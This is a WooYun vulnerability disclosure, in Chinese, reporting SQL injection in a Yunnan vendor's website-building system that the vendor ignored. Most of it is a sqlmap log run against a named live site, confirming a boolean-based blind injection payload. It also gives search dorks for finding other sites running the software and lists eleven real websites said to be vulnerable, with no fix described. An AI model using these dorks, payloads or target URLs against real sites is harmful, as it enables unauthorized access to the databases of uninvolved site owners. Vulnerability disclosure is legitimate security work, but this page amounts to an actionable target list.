当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087703

漏洞标题:某企业建站系统sql注入

相关厂商:云南天锐科技有限公司

漏洞作者: Mosuan

提交时间:2014-12-22 16:17

修复时间:2015-03-22 16:18

公开时间:2015-03-22 16:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-22: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql注入

详细说明:

第一处:技术支持:百度天锐科技 inurl:/NewsView.aspx?nid=
第二处:技术支持:百度天锐科技 inurl:/Product.aspx?nid=
随便举个例子
access数据库

注入地址:http://www.yniso9001.net/NewsView.aspx?nid=65
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:25:46
[03:25:47] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.yniso9
001.net\session' as session file
[03:25:47] [INFO] testing connection to the target url
[03:25:48] [INFO] testing if the url is stable, wait a few seconds
[03:25:49] [INFO] url is stable
[03:25:49] [INFO] testing if GET parameter 'nid' is dynamic
[03:25:50] [INFO] confirming that GET parameter 'nid' is dynamic
[03:25:51] [INFO] GET parameter 'nid' is dynamic
[03:25:51] [WARNING] heuristic test shows that GET parameter 'nid' might not be
injectable
[03:25:51] [INFO] testing sql injection on GET parameter 'nid'
[03:25:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:26:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[03:26:15] [INFO] GET parameter 'nid' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[03:26:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[03:26:16] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[03:26:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[03:26:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:26:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[03:26:17] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[03:26:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[03:26:18] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[03:26:18] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[03:26:18] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[03:26:19] [INFO] testing 'Oracle AND time-based blind'
[03:26:19] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[03:26:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[03:26:23] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[03:26:26] [INFO] checking if the injection point on GET parameter 'nid' is a fa
lse positive
GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=65 AND 5386=5386
---
[03:26:37] [INFO] testing MySQL
[03:26:38] [WARNING] the back-end DBMS is not MySQL
[03:26:38] [INFO] testing Oracle
[03:26:38] [WARNING] the back-end DBMS is not Oracle
[03:26:38] [INFO] testing PostgreSQL
[03:26:38] [WARNING] the back-end DBMS is not PostgreSQL
[03:26:38] [INFO] testing Microsoft SQL Server
[03:26:39] [WARNING] the back-end DBMS is not Microsoft SQL Server
[03:26:39] [INFO] testing SQLite
[03:26:39] [WARNING] the back-end DBMS is not SQLite
[03:26:39] [INFO] testing Microsoft Access
[03:26:40] [INFO] confirming Microsoft Access
[03:26:41] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[03:26:41] [WARNING] on Microsoft Access it is not possible to enumerate databas
es
[03:26:41] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 41 times
[03:26:41] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.yniso9001.net'
[*] shutting down at 03:26:41


1:http://www.kmdiwei.com/NewsView.aspx?nid=46
2:http://www.yniso9001.net/NewsView.aspx?nid=65
3:http://www.ynshuer.com/NewsView.aspx?nid=53
4:http://www.ynylsb.com/NewsView.aspx?nid=47
5:http://www.13987666036.com/NewsView.aspx?nid=47
6:http://www.ynksc.com/NewsView.aspx?nid=48
7:http://www.kmycedu.net/NewsView.aspx?nid=182
8:http://www.mojiegougs.com/NewsView.aspx?nid=62
9:http://www.kmlqhdf.com/NewsView.aspx?nid=125
10:http://www.kmjyty.com/NewsView.aspx?nid=260
11:http://www.kmxhq.com/NewsView.aspx?nid=23

漏洞证明:

l

修复方案:

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝